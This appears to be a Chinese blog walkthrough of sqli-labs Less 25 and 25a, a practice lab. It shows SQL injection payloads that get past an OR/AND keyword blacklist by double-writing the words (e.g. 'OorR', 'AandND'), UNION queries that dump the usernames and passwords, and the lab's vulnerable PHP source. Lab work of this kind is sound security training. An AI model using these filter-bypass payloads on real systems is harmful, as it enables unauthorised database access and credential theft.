sqli-labs 通关指南:Less 25

Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。

Less 25#

Trick with OR & AND(过滤了 OR 和 AND 的注入)

判断注入类型#

首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。

Copy Highlighter-hljs
?id=1'


使用 “--+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。

Copy Highlighter-hljs
?id=1'#

双写绕过#

构造恒真条件时,我们发现网页回显了报错信息,根据提示我们发现 “OR” 运算符不见了。

Copy Highlighter-hljs
id=1' OR 1 = 1--+


使用 “AND” 进行注入时,网页也回显了报错信息,“AND” 运算符也不见了。由此可见此处网页对我们传入的参数进行了过滤,把 “OR” 和 “AND” 运算都删掉了。

Copy Highlighter-hljs
id=1' AND 1 = 1--+


此处我们可以使用双写绕过来对过滤进行绕过,具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。

Copy Highlighter-hljs
id=1' OorR 1 = 1--+


对于 “AND” 来说也是一样,在该字符串中间的任意位置双写一次,也能查询成功。

Copy Highlighter-hljs
id=1' AandND 1 = 1--+ id=1' ANandD 1 = 1--+

获取数据库信息#

判断表有几列,使用 ORDER BY 子句进行一个排序,此处网页回显了错误信息。这是因为 “ORDER BY” 子句里面也有个 “OR” 字符串,所以在后面的注入中,所有有 “OR” 和 “AND” 的字符串都要双写。

Copy Highlighter-hljs
?id=1' ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

Copy Highlighter-hljs
?id=1' OorRDER BY 4--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

Copy Highlighter-hljs
?id=-1' UNION SELECT 1,2,3--+


爆数据库名。

Copy Highlighter-hljs
?id=-1' UNION SELECT 1,database(),3--+


爆表名。

Copy Highlighter-hljs
?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+


爆字段名。

Copy Highlighter-hljs
?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+

获取目标信息#

爆出 users 表中的信息。

Copy Highlighter-hljs
?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+

关卡 SQL 查询语句#

源码如下,我们可以看到 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数。

Copy Highlighter-hljs
$id = blacklist($id); // connectivity $sql ="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; }

blacklist() 函数如下,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。

Copy Highlighter-hljs
function blacklist($id) { $id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; }

Less 25a#

Trick with OR & AND Blind (过滤了 OR 和 AND 的盲注)

判断注入类型#

注入以下内容,以下内容全部网页都回显错误,说明该网页是数字型注入。

Copy Highlighter-hljs
?id=1'--+ ?id=1')--+ ?id=1'))--+ ?id=1"--+ ?id=1")--+ ?id=1"))--+


构造恒真条件,此时发现回显了错误信息,说明我们的 “OR” 运算符被过滤了。

Copy Highlighter-hljs
?id=1 OR 1 = 1--+

使用双写注入,网页就能返回正常的信息了。

Copy Highlighter-hljs
?id=1 OorR 1 = 1--+

本关的盲注体现在何处?当查询的 id 不存在,也就是查询失败时,没有任何回显信息。不过由于查询成功时能正常回显,此处使用 Less 25 的注入方式即可。

Copy Highlighter-hljs
?id=-1

获取数据库信息#

判断表有几列,使用 ORDER BY 子句测试到第 4 列无回显,说明表中一共有 3 列。

Copy Highlighter-hljs
?id=1 OorRDER BY 3--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

Copy Highlighter-hljs
?id=-1 UNION SELECT 1,2,3--+


爆数据库名。

Copy Highlighter-hljs
?id=-1 UNION SELECT 1,database(),3--+


爆表名。

Copy Highlighter-hljs
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+


爆字段名。

Copy Highlighter-hljs
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+

获取目标信息#

爆出 users 表中的信息。

Copy Highlighter-hljs
?id=-1 UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+

关卡 SQL 查询语句#

除了查询失败时不显示错误信息,其他的和 Less 25 一样。

Copy Highlighter-hljs
//fiddling with comments $id = blacklist($id); //echo "<br>"; //echo $id; //echo "<br>"; $hint=$id; // connectivity $sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; //echo 'YOU ARE IN ........'; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; } function blacklist($id) { $id = preg_replace('/or/i',"", $id); //strip out OR (non case sensitive) $id = preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive) return $id; }
posted @   乌漆WhiteMoon  阅读(1631)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS